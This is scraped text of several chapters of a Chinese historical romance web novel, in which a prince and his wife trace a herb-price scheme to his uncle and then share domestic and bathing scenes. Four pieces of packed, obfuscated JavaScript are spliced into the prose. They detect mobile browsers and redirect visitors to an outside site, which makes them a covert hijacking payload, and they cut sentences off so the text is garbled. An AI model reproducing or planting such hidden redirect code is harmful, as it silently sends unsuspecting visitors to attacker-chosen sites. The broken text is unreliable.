l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630646|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们多半也不认识。” 谢枕年微叹口气,在心里做了好几番心理建设才肯迈出步子。 他刚迈出第一步,立刻又被夏穗拽了回来,她还是有些担忧地问道:“王爷你能行吗?” 谢枕年:…… 什么叫他能不能行?!他八岁时便上朝为官,纵横官场这么多年,还从没有人质疑过他的能力。 然而,夏穗不仅质疑他,还给他提出了建议。 “首先,你要笑一笑。你这样冷冰冰的样子,姑娘都不敢靠近你。” 谢枕年听话地扬起嘴角。 夏穗看着他,用手摸着下巴摇摇头:“不太行,这样看起来皮笑肉不笑的。再要深情一点的眼神。这样姑娘们才会知无不言。” 谢枕年闭了闭眼,再次抬眸时,还是那副居高临下生人勿近的眼神。 她暗自吐槽道,这是什么眼神啊?看起来像要把她丢去刀山火海一样。 “不对,再来,深情中要带一点笑意。” 于是谢枕年闭眼,再次抬眸望向她时,眼睛里确实带了几分笑意,不过是笑里藏刀,让人脊背发凉的阴鸷感。 夏穗果决地否定了他:“还是不对,再来。” 谢枕年也不知道到底是哪里不对,隐隐有些不耐烦道:“那你示范一个。” 说示范便示范,夏穗略微低头,酝酿情绪。 她睫毛轻颤,原本低垂的眼帘完全掀起,对上谢枕年的眼睛。 她的眼尾微微上挑,比平日里多了几分妩媚,眼睛里映着满室烛光,流转顾盼间,那双琥珀色的瞳孔有着摄人心魄的魅力。 谢枕年看得移不开眼,整个人像是被定格住了,呆愣在原地。如夏穗所说的那般,她的眼睛里带着笑意和深情,让人沦陷其中。 周围很吵闹,台上莺歌燕舞,台下的客人们谈笑风生,但谢枕年只能听到自己的心跳声。很乱,比周围还要嘈杂。 他觉得嘴唇有些干涩,动了动喉结。 夏穗朝他眨眨眼,又歪头一笑,短短几秒钟就收起那副神色,切换回原本的状态。 并非是感情收放自如,而是没有感情,全是演技。 她笑着说道:“没有镜子,我也不好精确调整。不过应该就是这样,学会了吗?” 谢枕年回过神来,怔愣地点了点头。 “那你来一个。” 有了她打样在前,他依葫芦画瓢也该学会了。夏穗满怀期望地看着他,等待着她的教学成果。 谢枕年这次没有闭眼,而是直接看着夏穗的眼睛,很快眼中便涌上来某些情绪,欣赏,关切,克制,又好像带一点让人捉摸不透的悲伤。 夏穗愣了愣,下意识地去解读他眼中含着的那些复杂情绪,但很快便意识到了自己的愚蠢——现在只不过是在提前演练他要做的事而已。 在恰到好处的时候,谢枕年对她轻轻一笑,眼角眉梢皆是笑意,双眼含情,眉目温柔,让人如沐春风。 他低下头来,和她凑得极近,像是要吻她。 这也是待会要演的一环吗? 夏穗闭上眼睛,没有躲开。 11. 第 11 章 谢枕年的脸颊贴着她的侧脸擦过,在她耳边轻声说道:“我学得对吗?” 原来不是要接吻啊。 夏穗睁开眼睛,侧过头去看他,但奈何两人实在是离得太近,谢枕年也没来得及拉开距离,于是她一转头,嘴唇便贴着他的脸颊。 …… 两人双双愣住。 持续了几秒钟,夏穗才反应过来,立刻退开几步,夸张地点点头,连忙夸赞道:“不愧是王爷,学得又快又好。非常好,就是这样。” 接着对他做了一个“请”的手势:“差不多了,去实践吧!” 谢枕年直起腰,抬手擦擦他侧脸上轻微的水迹,才转身向着不远处的几个花娘走去。 等到他转过身,夏穗才伸手摸了摸自己的嘴唇。方才那温暖柔软的触感仿佛还停留在嘴唇上,她暗自轻抿了一下嘴巴,似乎有谢枕年身上的雪松香气混入口腔中。 清寒,冷冽,整个嘴唇像被冰泉浸润,温淡回甘。 谢枕年看着是铁骨铮铮硬朗男儿,但她属实没想到,他的脸也太软太香太好亲了。 还好看,好闻。 真不敢想,嘴对嘴会怎么样。 夏穗还在回味嘴唇上的余韵,忽然身后有人轻轻拉了拉她的袖子。 她回头一看,是一个娇而不妖的男子。 男子开口即是一片温香软玉,连连绵绵听得她春心荡漾。 “小主看着好眼生啊,是第一次来吗?”说话间便一只手搭在了她的脖子上,身体贴过来,对她继续发起攻势,“让我来伺候你吧?嗯?” 世间男儿千百色,各花各有各花香。 如果谢枕年是可望不可及的高岭雪花,那眼前这一朵便是唾手可得的娇桃。 她偷摸着看了一眼谢枕年那边的状况,远远看去,他果然是青出于蓝,一举一动间风流潇洒,完全看不出来他是第一次来这种地方。 不过就在他的眼皮子底下,夏穗不敢放肆,从男子的怀抱中挣脱出来:“你误会了,我只是进来找个朋友。再者,我已经嫁为人妻,实在不方便与其他男人接触。” 男子对她的这番话毫不在意:“无所谓,家花哪有野花香。” 夏穗立即回道:“当然有!我承认你确实貌美如花,但我夫君惊才绝艳,神仙中人,若是论才貌双绝,放眼整个京城,如果我夫君排第二,没人敢排第一。” 虽然谢枕年清冷自持没有温度,但她绝不允许有人忤逆他的美貌。 “看样子,你对你夫君相当满意啊。” 她颇有些骄傲:“这还用说。” 有颜多金还有权,家世品貌都是一等一的好,除了对她冷淡些,其他任何一点都无可指摘。 那男子原本还有些半信半疑地瞧着她,但目光扫过她身后,忽然一滞,有些黯然失色地朝她行了礼退下了。 夏穗回头,只见谢枕年正好站在她身后,一言不发,但嘴角微扬。 夏穗一惊:“你什么时候过来的?!” 应该没看到她和那个风尘男子搂搂抱抱吧? 谢枕年不动声色地收敛了笑容,声音微哑:“刚刚。” 她点点头,略微放下心来,看样子应该是没看到。 “怎么样?打听到什么了吗?” 谢枕年朝着他们前方不远处一个矮胖的男人略微抬了抬下巴:“他在那里。” 郭长风满脸堆笑,陷在锦缎堆砌的圈椅里,周围围着好几个花娘,领口被酒液泼湿了一大片。 “好,该我上了。” 夏穗撂下这句话就朝着郭长风走过去,被谢枕年拎小鸡一样拽住后衣领一把拉回来。 “你上哪儿去?” “我混入其中,把他灌醉,等他出来的时候,我们再趁机好好盘问他。” “你混入其中?他看上你怎么办?” 此言一出,夏穗还没来得及揣摩这句话里的意思,但谢枕年根本不给她细想的机会,立即向她解释道: “我的意思是,你好歹也是的端王府的王妃,就这么去不太妥当。据那些姑娘们所说,郭长风近来好大的手笔,只要是他看上的姑娘,不管千金万银,都会替她赎身买回去。你气质特殊,我怕他执意要买下你,到时候不好收场。” 他说完,便从怀中掏出来一块蓝色丝帕,走过来围在夏穗的脸上,帮她系好,叮嘱道:“速战速决。” 夏穗点点头,混入到那群花娘中。 郭长风彼时其实已经喝的半醉半醒了。周围环簇的姑娘们将琉璃酒盏抵在他唇边,喂了一杯又一杯。 “好了,不喝了,今晚回去还有事儿呢。” 于是姑娘们纷纷放下酒盏,只有夏穗还端着酒壶。 左侧女子用绢帕抹抹过他渗汗的太阳穴和前额,夏穗便趁机喂一杯酒。 右侧女子半个身子压在他膝头,指甲掐着剥开的葡萄,喂给他吃,见他吃完后,夏穗便又递上一杯酒。 郭长风出手阔绰,因此身边围绕着好几个姑娘,夏穗也不担心暴露,只是见机行事。而且她也不贪图他的钱财,身边的几个姑娘虽然觉得她奇怪,但也不排斥她。 如此好几个轮回下来,她的酒壶已经见了底,打算再喂一杯就抽身。 但杯子刚到郭长风嘴边,她的手腕忽然被一把抓住。 郭长风一把将她从几个女子身后拽出来,眼神微眯,盯着她看了几秒。 夏穗的心仿佛被高高吊起来,砰砰直跳,但她脸上神色如常,眉眼笑意盈盈。 站在不远处观望的谢枕年也赶紧站起身,朝着这边走过来。但他与夏穗的目光短暂交接了一秒,她朝他微微摇了摇头。 夏穗娇俏开口道:“公子,是不喜欢我倒的酒吗?” 郭长风闻言,眼中的那抹奇怪和打量的意味全都驱散开,被醉意和笑容占领:“那哪儿能呢?小娘子倒的酒可甜。不过,你为什么要带着面纱呢?” 他一边说着,一只手就要来解她的面纱。夏穗立刻一个转身,灵动地坐到他的腿上,梨花带雨地哭起来:“公子有所不知,我年幼时被家中大娘激动划伤了脸,自此便带上了面纱,不敢以真面目示人。” 夏穗哭的动容,一双鸦羽挂着泪珠,楚楚可怜。 郭长风向来自诩护花使者,从不惹美娇娘伤心,见状也有些惶恐,立即夺过她手中的酒杯:“是我不对,惹小娘子伤心了,我自罚一杯。” 夏穗趁此追击:“呜呜,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630647|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子眼中,我便是这一杯薄酒可以打发的吗?” 郭长风拍拍她柔软娇小的背,更上头了,喉咙里滚出一声闷笑:“那小娇娘觉得要怎么办呢?你说,我都依你。” 她直接抓起桌上的另一壶酒,塞到他手里,语气娇媚:“与我们不醉不归吧,公子。” 几句话交流下来,夏穗觉得他回答问题尚且清晰流畅,只喝一杯恐怕不够。 郭长风在这种事情上非常爽快,抓起那壶酒便灌了下去。 此举同时也赢得了周围那群花娘的欢呼声,郭长风更上头了,打着酒打嗝道:“哼,小爷我的酒量可不是吹的,我只是看着脸红了些,再来一壶我也喝的完。” 周围传来花娘们的脆笑声。 夏穗乘胜追击:“我不信。” 一言掀起万层浪,周围的几个花娘也都调笑着说道:“我也不信。” 对她们而言,若是客人能够留下来过夜,他们能拿到的钱自然更多。 为了逗佳人开心,郭长风果然又再招来一壶酒,三两下喝完。 此时他的衣襟被扯得松脱,露出内里汗湿的中衣边缘。他身上的汗味和酒味混杂着浓厚的胭脂味,几种味道搅在一起,让夏穗觉得有些恶心。 她突然无比怀念起谢枕年身上那股冷冽清新的味道来。 和郭长风这种人接触得越多,她就越是觉得谢枕年无比珍贵。 哪怕是他对她很冷淡,对什么新鲜事也都波澜不惊,个人性格极其无趣。但是他什么都不做,光是那张脸,就是一片美景,让人身心愉悦。 “我、我……说什么来着……我能喝!” 又一壶酒下肚,他终于是真的醉了。 夏穗非常嫌恶地从他身上跳下来,灵活地从他的胳膊下钻出去,见她起身,喝得醉醺醺的郭长风也赶紧来追。 谢枕年见她脱身,也赶紧迎上来,两人连哄带骗地将他引出花楼。 一出了人多的地方,谢枕年一时半刻也装不下去了,把方才压抑在心中的不快发泄出来,对着郭长风就是一肘击。 郭长风还有些不明白状况,伸手还要去拉躲在谢枕年身后的夏穗。 这更让谢枕年恼火,他抬起膝盖对着他的下身就来了一下,郭长风痛得直不起身。 谢枕年十分粗暴地揪着他的衣领走了几步,拐进一个小巷子里,把他甩在墙上,开门见山地问道:“谁指使你哄抬药材价格的?” 郭长风双眼迷蒙,含糊不清地问:“什么?发什么财?” 夏穗怀疑他喝的太多,正犹豫要不要去哪儿弄杯水来让他清醒一下,谁料谢枕年直接一个耳光甩在他脸上,他的半边脸瞬间变得通红,人也呆愣住了。 不过这招确实有用,他清醒了很多,也乖乖回答问题。 谢枕年转转手腕,双目中含着夏穗不曾见过的阴戾之色:“我再问一遍,谁指使你干的?” 郭长风见他又要扬起手,赶紧用双手抱住了头,惊慌失措地喊出一个名字:“谢朝恩!” 夏穗不认识这个人,但总觉得这个名字听起来莫名有几分耳熟。 她虚虚地望了谢枕年一眼,只见他目光低垂,脸色惨白无比,抬起的手正微微发抖。 12. 第 12 章 夏穗更加笃定自己绝对在哪儿听过这个名字,脑海中细细搜寻着,拨云见雾后,夏穗一惊,蓦地抬头望向谢枕年。 是他叔父! 她住在王府中,倒是也见过这位叔父几面,但是并未说上话。远远看上去仙风道骨,一身正气,她总觉得谢家都是些两袖清风的清白臣子,绝不会做这种坑害百姓的事情。 于是她上前对郭长风说道:“你最好想清楚了再说,你要是敢胡说八道,他有的是力气和手段惩治你。” 郭长风摇摇头,醉劲上来了,他说话都有些断断续续的:“我没……没胡说,我府上还有谢朝恩的亲笔密信,加盖端王府密印,小娇娘不信,你跟我回府,我都给你看。” 他越说,谢枕年越是垂眸不语,脸色更加难看。 夏穗有些尴尬地摸摸耳朵,感觉自己被迫卷进了什么家族阴谋之中。她不知该说些什么,虚虚地看了谢枕年一眼。 注意到她的视线,谢枕年抬起头来看她,也许他还没来得及收起眼神中的阴戾之色,夏穗见他这幅样子,也被他吓了一跳。 她清了清嗓子,小声开口道:“那什么……既然已经查出了幕后之人,那还是交给王爷来处理比较好。我一个弱女子,就不插手了。” 谢枕年冷着脸站起身,只淡淡吐出两个字:“回府。” 一路上,他一副心事重重的样子,一句话也不说。夏穗也知道他现在心里不舒坦,也不想去触他的眉头,只是乖乖跟在他后面走着。 他是愁肠寸断,但她没必要跟着伤春悲秋。 管他再大的家族纠纷,只要谢枕年还是端王,那都跟她没关系。 有点饿了,晚上回去吃点什么好呢? 王妃的月钱该发了吧,她还想购置几套小画本。 以防万一,再存点私房钱好了。 脑中想着这些问题,谁料前面那人忽然停下脚步,她猝不及防地撞上去。鼻子撞在他宽厚坚实的脊背上,疼得她捂住鼻子连退好几步。 谢枕年转过身来,给了她一个略微幽怨的眼神。 夏穗捂着鼻子朝他笑笑,抬头看,此时已经到了端王府门口了。 “怎么不进去?” “现在不能进。” “为什么?” 谢枕年不答话,只是忽然凑过来,朝着她身上闻了闻。 夏穗更加不解:“做、做什么?” “你闻不到你身上浓厚的脂粉气吗?” 这她倒确实没注意。被他这么一说,夏穗抬抬袖子,果然一股浓烈的脂粉香气扑鼻而来。 这么明显的气息,不用猜也知道他们两人去过哪儿。 “今天不是休沐日,朝中官员禁止去青楼寻花问柳。更何况……” 谢枕年说着,似是不想再说什么。但她的嘴偏偏快脑子一步,脱口而出问道:“更何况什么?” 谢枕年瞥了她一眼,略微低头,夏穗以为他又不打算回答,但沉默了几秒后,身侧传来他的声音,带着夜里的凉意: “这个时辰,叔父和先生应该在院中下棋。” 原来是怕他叔父撞见他去鬼混。 “简单,我还知道一个门,可以神不知鬼不觉地进去,既能避开你叔父他们,也能不被人发觉。” 谢枕年看着她,有些将信将疑,王府还有这种门?他怎么不知道? 当夏穗带他站在狗洞前时,他被气得笑了一下,难怪他不知道。 谢枕年转身就走:“走这进?那我不如在外露宿一晚。” 夏穗撇撇嘴,这是她前不久发现的秘密基地,本来是不打算告诉任何人的,现在拿出来给谢枕年救急,没想到他还宁折不屈。 “还有一个办法。” 夏穗又拉着他来到一处较矮的围墙边,指着那面较矮的围墙道,“从这翻,容易进。” 见他还是一副半推半就的样子,她苦口婆心劝道:“你在外借宿一晚,说的容易,现在这个点客栈都关门了。再说了,要是你叔父他们发现你夜不归宿,岂不是更容易惹人怀疑?” 更重要的是,如果她也夜不归宿,明早赶不及去给老夫人请安了。到时候不知道又有什么腥风血雨等着她。 在她的一番规劝下,谢枕年终于是同意了。 谢枕年人高马大,手脚也长,轻而易举地便攀上围墙,灵巧地翻了上去,他坐在围墙上,朝夏穗伸出手。 夏穗虽然能够到他的手,但这个姿势不好借力爬上去,尝试了好几次,也没办法爬上来。于是谢枕年只得先下来,在她面前蹲下,言简意赅道: “踩着我的背上去。” 夏穗也毫不客气,说踩就踩,一脚便踩到了他的肩上。 谢枕年的身子往下沉了沉,但仍旧十分稳重。 这丫头比他想象的重。 不仅如此,她踩着他的肩膀爬上去时,还顺便借力踹了他一脚,直接把他踹倒在地。 夏穗成功翻上围墙,回头一看,一脸震惊道:“王爷,你怎么躺在地上?” 谢枕年咬着牙爬起来,满脸上写着“你说呢?” 两人很顺利地翻过围墙,刚跳下来,微小的动静惊动了树上的几只小鸟,一个护院警敏地大喊一声:“谁在那儿!” 夏穗受惊地张嘴,谢枕年怕她惊呼出声,立刻抬手捂住她的嘴巴。 她还没来得及闭上嘴巴就被他捂住了,两片唇瓣紧紧贴在他的手心。 月光被树影绞碎成斑驳的银屑洒下来,两人紧紧相贴,不敢妄动。 护院朝着这边走过来了,更要命的是,他们跳进来的是他叔父的院子! 夏穗绷紧了脊背,紧张得大脑一片空白,越是如此,唇上的触感便越是清晰。 谢枕年掌心的纹路清晰烙在她的唇缝间,他掌心有微汗,咸涩混着雪松味涌入口腔。 她本能地吞咽,唇瓣在他的掌心微微吮动。 护院的脚步声更近了,他一脚踩碎枯枝,谢枕年随声收紧手掌。 夏穗温热的呼吸喷在他的指缝间,嘴唇细碎地动了动,弄得他手心有些湿,还有些微痒。 夏被他捂得有些喘不过气,正想拉拉他的衣袖示意他松手,但雪松香突然浓烈起来。 谢枕年离她贴得更近,把她整个人圈在怀中,两人紧紧相依,像是以此来缩小所占的空间范围。 他轻轻在她耳边吐着气:“别动。” 护院的脚步声愈发地近了,更近了,马上就要绕过大树看到他们。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630648|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “喂!过来搭把手,把那张床搬到王爷房里去。” 是彦修的声音。 护院闻言,转身走了。 两人齐齐呼了一口气,谢枕年收回手,看着手心的水痕,想找手帕来擦一擦。但他用另一只手摸便身上也没找到手帕,夏穗见状,立刻十分讨好地从袖中掏出丝帕,拉过他的手心,轻轻帮他擦拭着。 凑近看才觉得他这双手果真是很好看,皮肤白皙,手指很长,骨节分明,指腹有微茧,隐约还可以看到手心中的青色血管。 小话本中常说,在床上干正事之前要先用手开拓一下领地,如果被这双手探入…… “我的手有这么好笑?” 谢枕年看着夏穗高高扬起的嘴角,忍不住问道。 而且笑得……有点变态? 夏穗赶紧收敛起笑容:“啊,没有。” 她张嘴回复,感觉口水都要流出来了,赶紧吞了口唾沫,又细细地将他手中的水迹擦拭干净。 见气氛有些凝滞,她没话找话道:“王爷要换新床?” 她本来只是随口一问,但谢枕年听到也露出一副疑惑的表情。 看着眼前少女曼妙的身材,他忽然想起他母亲的话,认真回复道:“是我们的床。” 夏穗还没听明白他话中的意思,指着自己说道:“我也要换吗?我觉得我的床挺好的,不用这么铺张浪费。” 话是这么说,但她语气里是掩制不住的欢愉。 谢枕年看她没听懂他的意思,于是又一字一句地重复了一遍:“是我们的床。” 这下她终于是反应过来了,惊道:“我们睡一张床?!” 对面那人像对这件事毫无感觉似的淡淡应了一声。 “那怎么行呢?!” 新婚之夜她被他压在身下掐着脖子的场景还历历在目,她可不要跟这种会梦中杀人的嫌疑犯同床共枕啊! 再者,他们若共处一室,那她还怎么看睡前小画本啊!万一她梦到书中的黄金屋和颜如玉,半夜说梦话大放厥词让他听到可怎么办?! 谢枕年冷着一张脸,本来对这件事情抱着毫不在意的态度,见她这么说,忽然把目光放在她身上,微眯起眼定定地看着她,问道:“你我既是夫妻,怎么不行?” 夏穗连忙解释道:“你不是说你一个人睡惯了,不喜欢与他人同睡吗?再说了,我睡相不好,还爱磨牙说梦话,怕扰你清净。” 谢枕年被她骗住,收起略微怀疑的目光,向她说明了事情的原委:“你我毕竟是夫妻,长时间分房睡怕会惹人多嘴。以后我们会睡同一间房,不过我会在房内另备一张小床,我们还是分床睡。” 夏穗点点头,她其实很想再问一句,谁睡小床,但她转念一想,既然床已经搬回去了,估计待会儿就知道了。 两人避开下人,一路遮遮掩掩回到房间。刚进房门,夏穗就看到一张巨大的床摆在房中间。 床上已经铺好了被褥,她走过去坐在床边,拍了拍松软的被子和枕头,光滑柔软的被窝可以扫去她一整天的疲惫。 另一边,谢枕年迫不及待地把一身脂粉味的衣裳脱下来,有些嫌恶地扔在旁边,对已经黏在床上的夏穗说道:“伺候我沐浴吧。” 13. 第 13 章 夏穗正赖在床上,还以为是自己听错了。 她“唰”地站起来:“我伺候你沐浴?王爷的贴身婢女呢?” “我没有贴身婢女。” 哦,她差点忘了他断情绝欲不近女色了。 至于今晚为什么要她伺候沐浴,谢枕年也及时给出了他的解释:“身上的脂粉气太重,我需要你好好洗洗后面。” 那真是便宜她这个色中饿鬼了。 “事不宜迟,快走吧,洗完好回来睡觉。” 两人来到浴池旁,水雾在青石壁面凝结成小水珠,温热的水气漫上来,在眼前形成一片氤氲。 谢枕年解开上半身的衣袍,赤足踩在地上,布料垂落下来,堆叠在他的脚踝边。 这一步他也没叫她上去帮忙,于是夏穗便乖乖立在一旁好好欣赏。 浴室内的烛火比其他房间稍暗一些,他半边身子淹没在烛火光晕下,优越的肌肉线条若隐若现,有些看不真切,故而让人忍不住仔细去看,急切想要将那般美景尽揽眼底。 背肌随他抬臂的动作微微起伏着,宽肩,窄腰,薄肌,再加上白皙的皮肤,夏穗已经见色起意。 谢枕年的皮肤属于冷白的类型,因此衬得白的地方更白,红的更红。 他几乎完全没注意到一旁两眼放光的夏穗,他一边跨过脚踝边的衣裳,一边解下发带,鸦发散开,露出一截白皙的后颈。 端王冷傲,但实在美丽。 夏穗的目光已经滴溜溜地把他打量了个遍。 瘦腰,翘臀,长腿……她不是没有想象过,但真要见到时,心里还是抑制不住的激动。 夏穗不自觉地吞了口唾沫。 但他冷飕飕的声音正好在此时响起:“去拿毛巾来吧。” 这句话像一盆冷水似的当头淋下来,夏穗不情不愿地挪动脚步,转到屏风后面去取毛巾。 等她取到毛巾回来时,谢枕年已经脱了裤子步入了水池中。 水面漫过他的胯骨,带起些许水花,他继续往下走,直到水面漫过他的下腹和胸前。 月光照进来,照耀着晃动的波纹,将水光映在他的脸上。他抬起眼眸,一双深如幽潭的眼睛望向她,睫毛挂着水雾:“下来。” 夏穗就着衣服下水,湿透的里衣布料紧紧贴在皮肤上,让她有些不舒服。再加上室内弥漫着温热的水气,将整个房间的温度都提升了不少,让人觉得燥热无比。 谢枕年趴在水池边,对她吩咐道:“替我擦背。” 夏穗攥紧手中的毛巾,沾了温水打湿,但并不急着用毛巾给他擦,而是先用手捧起水,将他的后背完全打湿。 她的指腹轻轻划过他的背肌,能明显感觉到他的背绷紧了些。 不愧是多年修身养性的身体。 不愧是从来没有贴身婢女的人。 夏穗笑了笑,玩心大起,但手上的动作依然安分规矩。上次替他更衣时,她已经大概摸清了他的身材,此时只是复习一遍。 谢枕年趴在池子边,搁在池外的手背浮起青筋,但并不开口说什么。 她用指尖取了些香膏,在掌心润化成半透明的脂液后涂抹在他的背上。 蒸腾的热气把膏体烘得更软更黏腻,刚涂在他的背上,膏体就像化水一样陷进他温热的肌理中。 夏穗放慢推抹速度,她本就泡在热水里,手上又不停地动作,额头上已经布满了小汗珠。 汗珠顺着她下巴滴落在谢枕年后颈上,她刚要用手去擦,手腕突然被擒住。 池子里的水声突兀地响起,谢枕年转身,带起的水流漫过她前襟,湿透的布料下透出她丰腴妖娆的身材。 他看着夏穗,欲言又止,但最终还是开口问道:“还没好吗?” 声音比平时嘶哑。 夏穗低眉顺眼,乖巧回答:“马上就好。” 谢枕年带着水渍的掌心紧紧圈住她的腕骨,烫得她手腕发麻。她稍稍动了动手指,示意他放开。 谢枕年放开她的手,从她手中接走了毛巾,喉结动了动,说道:“可以了,我自己来,你也洗洗吧。” 结束了,她听话地退开,走到池子的另一边,把脱下来的衣裳放在池边。 从她这个角度望过去,刚好可以看到墙角那面巨大的铜镜。不过铜镜此时蒙着雾气,只能照出两团模糊的身影。 身后响起一阵水花声,夏穗回头望去,谢枕年已经披了浴衣上岸了,并且很快地走到屏风后去换衣服,根本不给她打探的机会。 她没穿衣服,只好待在水里。她严重怀疑谢枕年骗她下水,就是为了不让她有机可乘。 不多时,他换好衣服从屏风后走出来,未擦干的水迹顺着他的小腿内侧往下流,在青砖地面积出一小片水洼。 夏穗的目光顺着脚踝和小腿往上探去,但上面已经被他包得严严实实。 “我洗好了,你洗完来我房间就行。” 这句话乍一听像邀请她做某种事,但跟他相处久了,她就知道这句话里没有别的意思。 她也不过多奢求了,想着赶紧洗洗睡,现在唯一的愿望就是希望能睡到那张舒服柔软的大床上。 她进房间时,谢枕年还坐在桌子边看公文,都没往这边瞧一眼。 当然,她的眼里也只有那张大床。 她的目光在房内逡巡了一圈,并没见到他说的所谓的小床,试探地问道:“我睡哪儿?” 谢枕年朝他指了指一个角落。 夏穗顺着他指的方向望过去,只见那个角落确实放着一张小床。她定睛一看,与其说是床,不如说是一把长形木椅。 她咬了咬牙,既不走过去,也不反对胡闹,站在原地苦笑着。 等着他良心发现。 但他显然没有良心。 见夏穗不动,他只是解释了一句:“本来房内是有一张小床的,但母亲把这张大床抬进来,估计一起把那张小床清走了。你身材娇小,先在那儿凑合几晚吧。” 既然他都那么说了,那她也没什么好说的了。 床板很硬,床也很小,她只能规规矩矩地躺着。 更可恶的是,谢枕年就坐在旁边,她也没机会看小话本。 她有些幽怨地盯着谢枕年的侧脸,不过那张脸确实是挑不出任何毛病,实在是让人赏心悦目。 她看着他优越完美的侧脸,沉沉睡过去。 睡得昏昏沉沉的,她感觉身上好像多了一层重量,周身还缭绕着她熟悉的雪松香气,但她实在困得睁不开眼。 又或者,是在梦中。 再次睁眼时,映入眼帘的是神色有些急切的小桃。 夏穗有些分不清是在梦里还是在现实,迷迷糊糊地开口,:“小桃?你的病好了?” 小桃一把把她拉起来,匆忙着点点头说道:“小姐,快起来,不然赶不上去给老夫人请安了!王爷刚才已经出去了。” 夏穗顿时清醒,惊坐起来,匆忙穿衣梳洗。 刚好,踩点到。 她行礼敬茶,谢枕年也起身准备离开。 老夫人端着茶杯抿了一口,悠悠问道:“我新购置的床怎么样?结不结实?” 老夫人虽然对她还是没什么好脸色,但问这句话时语气和缓了很多。 夏穗的余光瞥到谢枕年,他此时已经走到门口了,但听到这句话,明显身形一顿。 她不知该如何做答,只得在老夫人面前装作羞涩的样子,以微笑应对。 大床结不结实她不知道,她昨夜睡着那张小破床觉得腰都快睡断了。 从老夫人那里出来,她揉着僵硬的腰,有些郁闷地坐在院子里。 彦修路过,他平日里见惯了她活泼开朗阳光明媚的样子,忽然见她这副有些萎靡的样子,走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630649|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来问道:“王妃这是怎么了?” 夏穗轻叹一口气,转而问他:“你和王爷很熟?” 彦修想了想:“我家道中落,很小就被送进王府当侍卫了。后来被王爷挑中,成了他的贴身侍卫,已经十多年了。” 她沉吟着点点头:“那你跟我说说他以前的事吧。” 她实在想不通,那样一个浑身上下几乎都是优点的可人儿,怎么会对女子那么避之不及。 不论是他面对花楼貌美的花娘,还是昨夜沐浴时面对她的撩拨,他都如此无动于衷。 那张新床那么大,他也坚持分开睡,让她去睡小破床。 他的端庄自持简直到了令人发指的地步。 彦修似乎在考虑该不该说,夏穗带着半央求的语气说道:“你与他相识相伴这么久,想必是最了解他的。我翻遍了《王府纪事》,那上面也没记录他多少事情。你就忍心看我白忙活一阵但毫无收获吗?” 彦修被她说动了,娓娓道来:“老王爷和王爷的兄长都死在战场上,老夫人和族宗长辈对他不算温情,王爷成长的每一步都只能严格按他们的要求来。大到娶妻生子,小到衣食住行,样样都要遵从他们的旨意。” 夏穗点点头,《王府纪事》里的三两笔墨就带过的事情,却是真正落在谢枕年身上的砍刀,当年的他甚至只是一个孩子。 彦修接着说道:“老王爷去世那段时间,老夫人精神状态不好,连带着王爷也话少沉寂。出了乳母那件事后,王爷的性情更是孤僻难测。” 夏穗立刻机敏地打断他:“哪件事?” 彦修此时才意识到自己说得太多了,他闭口不言,但夏穗向来很会利用自己的身份,她威逼利诱道: “快点的,赶紧说,不然我可自己去查了。到时旧事重提,若是掀起什么波澜,我就说是你告诉我的。” 彦修有些为难,四下看了看,见没有旁人路过,才小声说道:“老夫人那段日子沉浸在悲痛中,对王爷不管不顾。王爷那时起便由乳母负责看护,那时候他对乳母相当依赖,两人连睡觉都在一起。谁料乳母受奸人指使,趁王爷睡着时行刺,好在被当时的侍卫看到,这才没有让她得手。” 夏穗恍然大悟,难怪,难怪他在新婚之夜,两人同床共枕时被梦魇所扰,发了疯似的差点杀了她。 原来他是真的有点子精神病在身上。 她记得他说过从不与人同睡,想必就是从那以后埋下了心病吧。 她思索着彦修的话,昨夜没睡好,此时更觉得脑袋有些昏沉,懒洋洋地打了个哈欠,打算回去睡个回笼觉。 趁谢枕年不在,睡睡那张大床好了。 但她一推开门,就看到谢枕年坐在床上。 像是在等她。 夏穗惊得一丝困意也无:“你怎么在这儿?” “今日休沐。” 夏穗觉得自己的意图像是被他发现,她尴尬地笑了一下:“哈哈,那王爷今日好好休息。” 她刚要转身,谢枕年便叫住了她。 “我有些好奇,早上我阿娘问你的那个问题,你是怎么回答的?” 老夫人问她床结不结实。 床结不结实,得睡过才知道。 她床都没沾边,她怎么知道? 夏穗此时一肚子怨气:“王爷觉得我该如何回答呢?” “听起来,你在怪我让你睡小床?” 她一边生气,一边又十分窝囊:“不敢。” 